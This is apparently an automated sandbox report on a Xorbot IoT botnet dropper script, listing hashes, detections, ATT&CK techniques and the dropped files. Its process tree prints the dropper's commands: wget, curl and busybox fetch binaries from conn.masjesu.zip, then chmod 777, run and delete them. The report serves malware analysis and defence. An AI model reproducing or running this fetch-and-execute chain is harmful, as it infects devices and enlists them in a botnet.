xorbot | 2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/02/2025, 23:12

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General

Target

bins.sh
Size

10KB
MD5

97fa31a6ea5fb450f4b293c1695590f1
SHA1

159bd52d99913da9322c119a059d3a365e4df48b
SHA256

2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb
SHA512

398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1
SSDEEP

192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 8 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-17.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
731	chmod
817	chmod
825	chmod
833	chmod
841	chmod
849	chmod
857	chmod
865	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	732	bins.sh
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	818	bins.sh
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	826	bins.sh
/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	834	bins.sh
/tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn	842	bins.sh
/tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP	850	bins.sh
/tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf	858	bins.sh
/tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ	866	bins.sh

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 26 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	curl
822	curl
837	wget
846	curl
862	curl
864	busybox
707	wget
738	busybox
821	wget
824	busybox
853	wget
854	curl
869	wget
735	wget
829	wget
830	curl
838	curl
845	wget
848	busybox
861	wget
730	busybox
736	curl
832	busybox
840	busybox
856	busybox
870	curl

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	wget
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	curl
File opened for modification	/tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn	curl
File opened for modification	/tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP	curl
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	curl
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	curl
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	busybox
File opened for modification	/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	curl
File opened for modification	/tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP	wget
File opened for modification	/tmp/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P	wget
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	wget
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	busybox
File opened for modification	/tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf	wget
File opened for modification	/tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf	curl
File opened for modification	/tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ	curl
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	wget
File opened for modification	/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	wget
File opened for modification	/tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn	wget
File opened for modification	/tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf	busybox
File opened for modification	/tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:732
- /bin/rm
  rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:818
- /bin/rm
  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:826
- /bin/rm
  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:828
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - System Network Configuration Discovery
  PID:832
- /bin/chmod
  chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  PID:834
- /bin/rm
  rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/chmod
  chmod 777 JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  ./JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  PID:842
- /bin/rm
  rm JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  PID:844
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  - System Network Configuration Discovery
  PID:848
- /bin/chmod
  chmod 777 BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  ./BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  PID:850
- /bin/rm
  rm BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
  2⤵
  PID:852
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/chmod
  chmod 777 BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  ./BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  PID:858
- /bin/rm
  rm BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  - System Network Configuration Discovery
  PID:864
- /bin/chmod
  chmod 777 eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  ./eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  PID:866
- /bin/rm
  rm eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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